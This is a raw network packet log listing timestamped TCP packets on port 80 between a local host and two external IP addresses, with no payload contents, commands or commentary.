Dec 16, 2024 17:02:24.729554892 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.729578972 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.729593039 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.730016947 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.730062962 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.730292082 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.730338097 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.730387926 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.730401993 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.730443001 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.730454922 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.730748892 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.730902910 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.731203079 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.731219053 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.731245041 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.731420040 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.731435061 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.731482029 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.732048988 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.732098103 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.732209921 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.732224941 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.732266903 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.732525110 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.732570887 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.732955933 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.733002901 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.733092070 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.733108044 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.733149052 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.733432055 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.733475924 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.733822107 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.733876944 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.733971119 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.733985901 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.734016895 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.734034061 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.734797001 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.734843969 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.734920979 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.734935999 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.734967947 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.734997988 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.735248089 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.735263109 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.735291004 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.735305071 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.735671997 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.735714912 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.735821009 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.735836029 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.735865116 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.735889912 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.736172915 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.736210108 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.736845016 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.736912012 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.737195969 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.737219095 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.737250090 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.737283945 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.737293959 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.737340927 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.737725019 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.737741947 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.737772942 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.737787962 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.737884998 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.737946033 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.738399982 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.738512993 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.738528013 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.738528967 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.738553047 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.738574028 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.738930941 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.738946915 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.738972902 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.739007950 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.739280939 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.739469051 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.739588022 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.739635944 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.739711046 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.739757061 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.739895105 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.739962101 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.740289927 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.740305901 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.740350962 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.740844965 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.740861893 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.740890980 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.740912914 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.741339922 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.741388083 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.741432905 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.741480112 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.741729975 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.741744995 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.741777897 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.741794109 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.742273092 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.742388964 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.742526054 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.742542982 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.742573977 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.742588043 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.742774010 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.742861032 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.743021965 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.743067980 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.743139982 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.743155956 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.743190050 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.743201971 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.743412018 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.743462086 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.743861914 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.743923903 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.744009972 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.744025946 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.744069099 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.744369984 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.744458914 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.744720936 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.744771957 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.744852066 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.744867086 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.744896889 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.744924068 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.745136023 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.745179892 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.776897907 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.777033091 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:24.777103901 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:24.897219896 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.897339106 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.897351980 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.897449970 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:24.897466898 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.897531986 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:24.897655964 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.897671938 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.897711992 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:24.897731066 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:24.897944927 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.898005009 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:24.898030996 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.898078918 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:24.898133993 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.898147106 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.898195982 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:24.898269892 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.898329020 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.898376942 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:24.898617983 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.898684025 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:24.898919106 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.898973942 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:24.899343967 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.899357080 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.899398088 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:24.899447918 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.900062084 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.900532961 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.900569916 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.900624037 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.900907040 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.900954008 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.901174068 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:24.901216984 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.901230097 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.901264906 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:24.901281118 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:24.901462078 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.901508093 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:24.901644945 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.901702881 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:24.902039051 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.902059078 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.902096987 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:24.902122021 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:24.902309895 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.902362108 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:24.902789116 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.902842045 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:24.914144993 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.914295912 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.914310932 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.914381027 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.914611101 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.914661884 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.914748907 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.914794922 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.915040970 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.915056944 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.915072918 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.915090084 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.915102959 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.915123940 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.915491104 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.915539980 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.915689945 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.915705919 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.915735006 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.915746927 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.916064024 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.916580915 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.916649103 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.916681051 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.916697025 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.916728973 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.916740894 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.917176008 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.917268991 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.917284966 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.917330980 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.917330980 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.917340994 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.917349100 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.917376041 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.917390108 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.918402910 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.918466091 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.918481112 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.918570042 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.918711901 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.918780088 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.919020891 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.919069052 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.919266939 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.919291973 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.919322014 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.919331074 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.919651985 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.919698954 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.920017004 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.920066118 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.920120001 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.920135021 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.920165062 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.920176983 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.920527935 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.920840979 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.920993090 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.921008110 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.921037912 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.921050072 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.921294928 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.921309948 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.921356916 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.921757936 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.921808004 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.921840906 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.921857119 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.921900034 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.922173977 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.922223091 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.922841072 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.922890902 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.922971964 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.922987938 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.923016071 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.923027992 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.923368931 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.923531055 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.923547029 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.923577070 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.923589945 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.923929930 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.923947096 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.923990965 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.924300909 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.924348116 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.924483061 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.924498081 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.924529076 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.924540997 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.924834967 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.925260067 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.925276995 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.925307035 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.925318956 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.925399065 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.925633907 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.925683022 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.926116943 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.926163912 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.926249981 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.926265955 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.926297903 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.926311016 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.926558971 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.926990986 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.927037954 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.927108049 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.927124023 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.927150965 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.927160978 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.927625895 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.927691936 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.927963972 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.928042889 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.928061008 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.928077936 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.928107977 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.928122044 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.928549051 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.928845882 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.928893089 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.928936005 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.929044008 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.929059982 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.929090023 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.929111958 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.929450989 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.929894924 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.929909945 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.929955006 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.929966927 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.930131912 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.930147886 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.930191994 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.930691004 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.930751085 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.930876970 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.930892944 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.930928946 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.930948973 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.931116104 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.931394100 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.931457996 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.931509972 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.931524038 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.931548119 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.931560993 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.931874990 CET	80	49712	31.41.244.11	192.168.2.8
